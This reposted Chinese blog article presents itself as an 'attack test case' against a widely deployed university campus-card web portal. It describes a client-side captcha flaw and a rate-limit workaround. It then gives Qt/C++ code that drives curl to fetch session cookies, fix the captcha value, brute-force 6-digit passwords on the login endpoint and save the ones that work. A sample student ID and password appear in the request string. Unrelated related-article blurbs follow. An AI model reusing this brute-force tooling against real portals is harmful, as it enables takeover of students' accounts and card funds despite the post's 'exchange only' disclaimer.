校园“一卡通”网站攻击测试用例

news/2024/5/21 1:15:49/文章来源:https://blog.csdn.net/v6543210/article/details/19836521


全国各大高校普遍采用哈尔滨新中新电子股份有限公司“校园一卡通”运行日常校园内的各种应用,此系统提供了一个网站后台可以提供刷卡信息查询,丢卡挂失等操作。但该网站后台实现非常不严谨,存在很多的漏洞,根据乌云漏洞平台的数据2011年就有人提交这种网站的问题http://www.wooyun.org/bugs/wooyun-2011-03267,但是一直没有得到该厂家的重视和更新。

下面提供一个攻击测试用例,目的只在于交流,严禁用于非法用途。


一、漏洞分析

1.验证码生成漏洞
   作为安全最重要的部分,这个网站的验证是由浏览器端用JS代码生成的


图中的8792地址如下:
http://ecard.sjtu.edu.cn/getCheckpic.action?rand=6296.096566789155
(这个学校网站已经更新了,但有很多地方还是这样的)

2.可以伪造ID提交登录网址

登录提交的网址一般是 http://IP:Port/loginstudent.action ,我们可以任意构造提交的内容,从网站所返回的数据来看是否成功。

     原网站设定了刷新时限,就是一个session在10秒内不能重复提交登录信息,否则服务器会提示频繁过高。

  二、过程理论分析

   1.首先要有一个用户ID号,如果没有ID号就没办法了。

    2.攻击获取密码,采用的办法是暴力破解,一个密码一个密码地试。

    3.可行性分析。密码是6位数字,全部组合1000000个。由于网站限制10秒才能测试一个,假设一台机子有10个进程进行测试,基本上能达到1秒1个,1天24小时*60分钟*60秒=86400秒,100万/86400=11.57,也就是12天可以穷举,如果加大进程数量到50个,如果协同一致的话,可以把时间缩短到2.4天。

  三、过程

   CURL

   curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

  能够极方便地进行http操作。

1.获取session ID,因为在提交密码登录的过程中要用到session ID,由系统分配,用于标识每次会话。

	QString cmdline = "curl.exe "+ mServerAddress+ "/homeLogin.action -I -A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"";QProcess process_session; process_session.start(cmdline);if (!process_session.waitForReadyRead())return -1;QByteArray output = process_session.readAll();int index_1 = output.indexOf("Set-Cookie:", 110);cookie = output.mid(index_1+12, 43);qDebug()<< cookie;
session ID 保存在cookie中,后面直接指定让CURL读取cookie。


2.用这个ID获取一个验证码。

因为验证码完全由客户端指定,这个就好办多了,我们把它设为8888

	QString imgCommand = "curl.exe  "+ mServerAddress+ "/getCheckpic.action?rand=8888.560381874442 -I \-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \--cookie "+ cookie;QProcess  process_img;process_img.start(imgCommand);if (!process_img.waitForFinished())qDebug()<<"process_img no finish\n";

3.提交用户名,密码等信息,检查返回的结果看是否成功。

post的字符串如下:用户名,用户类型(这个对一般用户都是1),密码,随机数rand设为8888, field照抄原网页内容即可

name=20010410221&userType=1&passwd=103020&loginType=2&rand=8888&imageField.x=26&imageField.y=12


	QByteArray data;data = QByteArray("name=");data.append(mAccount);data.append("&userType=1&passwd=");data.append(mPasswd);data.append("&loginType=2&rand=1111&imageField.x=26&imageField.y=12");QString loginCmd = "curl.exe "+ mServerAddress+ "/loginstudent.action \-d " + data \+ "-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \--cookie "+ cookie;QProcess  process_login;process_login.start(loginCmd);if (!process_login.waitForFinished())qDebug()<<"process_img no finish\n";qDebug()<<"passwd test using result  : "<<	mPasswd<<"\n";QByteArray result = process_login.readAll();if (result.contains("table")) //如果失败,返回结果中有table{index++;return 0;}else if(result.contains("frameset"))//如果成功的话,返回的结果中包括frameset{QFile file( "file.txt" );if ( file.open( QIODevice::Append) ) {QTextStream stream( &file );//成功的密码保存到一个文件中stream << mPasswd << "\n";file.close();return 1;}}else  qDebug()<<"error\n"<<result;

可以去跑了。

这个地方还差一个密码字符串生成的部分,要想最有效地分工协作,必须在密码串方面共同进行区分。这个方面还没有实现。










本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_782859.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站备份解决方案实战操作讲解(学生分享)

说明&#xff1a;建议博友先观看&#xff1a;人人都是讲师的教学培训体系介绍http://oldboy.blog.51cto.com/2561410/1111405人人都是讲师-学生分享-网站架构备份解决方案实现讲解&#xff08;陶同学分享讲解&#xff09; 1&#xff09;实战考试题描述 2&#xff09;实战考试逻…

优化网站设计(十九):减少DOM元素的数量

前言 网站设计的优化是一个很大的话题,有一些通用的原则,也有针对不同开发平台的一些建议。这方面的研究一直没有停止过&#xff0c;我在不同的场合也分享过这样的话题。 作为通用的原则&#xff0c;雅虎的工程师团队曾经给出过35个最佳实践。这个列表请参考 Best Practices f…

7月第2周游戏运营类网站/频道:91.com首次第一

IDC评述网(idcps.com)07月22日报道&#xff1a;根据国际统计机构Alexa公布的最新数据显示&#xff0c;7月第2周&#xff08;2013-07-08至2013-07-14&#xff09;游戏运营类网站/频道周均用户覆盖数排行榜首是91.com&#xff0c;其用户覆盖数为1300&#xff0c;其次是用户覆盖数…

layui关闭页面判断数据是否有修改_网站是否劫持检测,网站是否劫持检测,具体检测方法...

原标题&#xff1a;网站是否劫持检测&#xff0c;网站是否劫持检测&#xff0c;具体检测方法说到网站被劫持&#xff0c;很多站长并不陌生&#xff0c;也知道网站被劫持的危害&#xff0c;可如何查看判断网站是否被劫持及处理方法&#xff0c;是很多网站头疼的问题。那么如何才…

一键获取网站源码_如何从零开始建设并且运营一个网站?需要些什么?

从零开始建设并运营一个网站&#xff0c;需要的不仅仅是域名、空间那些硬件&#xff0c;还要有一个完整的流程&#xff0c;至少你要知道自己要做什么&#xff0c;未来要达到什么样的效果。伴随着互联网浪潮的雄起&#xff0c;全球经济体因互联网发展及蔓延&#xff0c;自上而下…

图片展示网站源码_网站文章被百度秒收录的技巧 - 360关键词搜索排名

原出处&#xff1a;超级排名系统原文链接&#xff1a;网站文章被百度秒收录的技巧 - 超级排名系统1、服务器必须稳固&#xff1a;服务器是否稳定会直接的影响到用户体验&#xff0c;一旦服务器出现故障&#xff0c;那么我们的网站必定会出现400页面&#xff0c;流失很多潜在用户…

JavaScript网站设计实践(五)编写photos.html页面,实现点击缩略图显示大图的效果...

一、photos.html页面&#xff0c;点击每一张缩略图&#xff0c;就在占位符的位置那里&#xff0c;显示对应的大图。 看到的页面效果是这样的&#xff1a; 1、实现思路 这个功能在之前的JavaScript美术馆那里已经实现了。 首先在页面中使用ul列表显示出所有的缩略图&#xff0c;…

sql备份前如何断开所有链接_只需五步,完美利用命令行工具创建LinuxMac系统下的网站备份...

创建网站备份应该是一个网站管理员最为重要的日常工作之一。但现实情况是&#xff0c;备份这一步往往被很多人忽略&#xff0c;也就是说仍然有很多网管的网站安全意识较低。所有的Linux/Mac用户都能够零经济成本地通过命令行工具创建网站备份。如果你用的不是Linux/Mac&#xf…

Baidu百度搜索引擎登录网站 - Blog透视镜

Baidu百度是中国的搜索引擎&#xff0c;有心经营中国市场的网友&#xff0c;自然不能错过&#xff0c;不过Google谷歌已经遭中国封锁&#xff0c;如果你的网站是用Blogger架设的&#xff0c;具有blogspot.com网域的&#xff0c;则会无法浏览。 阅读全文>>转载于:https://…

经典flash_市面80%的模板站网站还都是flash,即将面临打不开的风险

最新消息&#xff1a;Adobe公司宣布&#xff0c;2020年12月31日&#xff0c;今年的最后一天&#xff0c;将是其旗下产品Flash Player生命终结之日&#xff0c;也就是 End-Of-Life Date。提到flash player相信大家绝对不陌生&#xff0c;无论是我们曾在网页播放器内满怀期待的观…

面向站长和网站管理员的Web缓存加速指南

2019独角兽企业重金招聘Python工程师标准>>> 原文&#xff08;英文&#xff09;地址&#xff1a; http://www.mnot.net/cache_docs/ 版权声明&#xff1a;署名-非商业性使用-禁止演绎 2.0 这是一篇知识性的文档&#xff0c;主要目的是为了让Web缓存相关概念更容易被…

tdk怎么设置_网站TDK优化要注意什么?怎么设置?

今天给大家讲讲&#xff0c;网站TDK优化时要注意什么&#xff0c;该怎么设置&#xff1f;网站TDK作为SEO优化中影响排名的一个重要因素&#xff0c;如何撰写一个优秀符合SEO的网站TDK&#xff0c;是很多站长必须要掌握的技能。51商务网小编来普及下。首先要知道&#xff0c;百度…

网站调用百度地图 根据地址查询经纬度

百度地图API简单应用—根据地址查询经纬度 简单几步注册获得一个ak&#xff0c;就能直接调用&#xff08;PS:好像1.3版本前的无需注册获取ak&#xff0c;就能直接调用api&#xff09;。 闲话不多&#xff0c;下面就直接给大家介绍下&#xff0c;具体要怎么调用百度地图API。首先…

同一个网站别人能打开我打不开_搭建网站、APP 该怎么选服务器?

搭建网站、APP 该怎么选服务器?搭建网站、APP选择服务器要考虑其安全性、稳定性以及访问速度。首先由于现在很多站长使用的是共享虚拟主机&#xff0c;这就意味着同一个IP下有很多其他用户的网站。因此&#xff0c;在选择时候必须检查该网站空间服务器所有都是安全、正规的网站…

文档第一页加入作者信息_Python爬取中药网站信息并对其进行简单的分析

开发工具Python版本&#xff1a;3.5.4相关模块&#xff1a;爬虫&#xff1a;import requestsfrom bs4 import BeautifulSoup词云&#xff1a;from wordcloud import WordCloudimport jiebafrom os import pathimport matplotlib.pyplot as plt主要思路&#xff1a;写了两个文件…

正则校验0到300以内的小数_SpringBoot入门建站全系列(三十三)集成validator校验接口数据...

SpringBoot入门建站全系列&#xff08;三十三&#xff09;集成validator校验接口数据一、概述在开发中经常需要写一些字段校验的代码&#xff0c;比如字段非空&#xff0c;字段长度限制&#xff0c;邮箱格式验证等等,如果我们直接将这些校验写死在代码里&#xff0c;将会遇到这…

小程序服务器如何防攻击,中小网站防止DDOS攻击的方法

网上虽然说有很多文章都在说&#xff1a;如何防止DDOS攻击&#xff1f;防止DDOS攻击的办法&#xff0c;我个人认为对于中小网站没来说没有一个是真正有效的&#xff0c;要么就是说DDOS攻击防止不了&#xff0c;要么就是说需要花钱。事实上&#xff0c;这说得并没有错&#xff1…

网站如何进行渠道跟踪_如何在网站进行软文推广

其实所有的软文推广几乎都是在网站上进行的&#xff0c;少数是在APP中进行的&#xff0c;毕竟软文推广做的是传播&#xff0c;而网站的作用是承载这些信息&#xff0c;而且自带流量和用户&#xff0c;所以在网站上做软文推广只需要发布稿子即可&#xff0c;具体该在什么网站做软…

主机访问虚拟机中新建的网站

本人在VMware Workstations 10中&#xff0c;新建了一个虚拟机Windows Server 2008 R2 x64.网络方式选择的是桥接&#xff0c;设置了固定ip 192.168.1.166&#xff0c;主机的IP是192.168.1.33。虚拟机和主机都可以上互联网。但是在虚拟机上发布了一个网站&#xff08;吉奥数据平…

android横幅轮播,制作网站轮播横幅的4点小技巧!

越来越多的网站都会使用轮播的方式来制作网站横幅&#xff0c;因为轮播的横幅图片能够轻易地吸引到用户的注意力&#xff0c;让用户能在横幅内容里了解到定量信息。那么如何制作自己的网站轮播横幅可以更好的展示内容呢&#xff1f;下面就跟随小编的步伐&#xff0c;一起来看看…